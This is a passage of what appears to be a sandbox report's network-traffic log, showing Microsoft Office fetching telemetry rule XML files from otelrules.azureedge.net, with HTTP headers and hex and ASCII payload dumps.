2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-26 11:45:49 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.9	49709	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:50 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:50 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:50 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9afce852-e01e-0020-6fef-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114550Z-15b8d89586fwzdd8urmg0p1ebs0000000c800000000087c8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:50 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.9	49707	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:50 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:50 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:50 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114550Z-16849878b78j7llf5vkyvvcehs000000034g0000000024e2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:50 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.9	49711	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:50 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:50 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:50 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 31a53d7e-801e-00a3-74f7-217cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114550Z-16849878b78q9m8bqvwuva4svc00000000f0000000001vkz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:50 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.9	49708	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:50 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:50 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114550Z-16849878b78nx5sne3fztmu6xc00000003100000000021ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:50 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.9	49710	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:50 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:50 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:50 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114550Z-16849878b78hh85qc40uyr8sc8000000028000000000841b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:50 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.9	49713	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:51 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:51 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114551Z-17c5cb586f65j4snyp1hqk5z2s00000003cg000000003b6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:51 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.9	49714	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:51 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:51 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: d919e2dc-e01e-001f-153d-261633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114551Z-17c5cb586f64v7xs992vpxwchg00000001wg0000000081qm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:51 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.9	49712	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
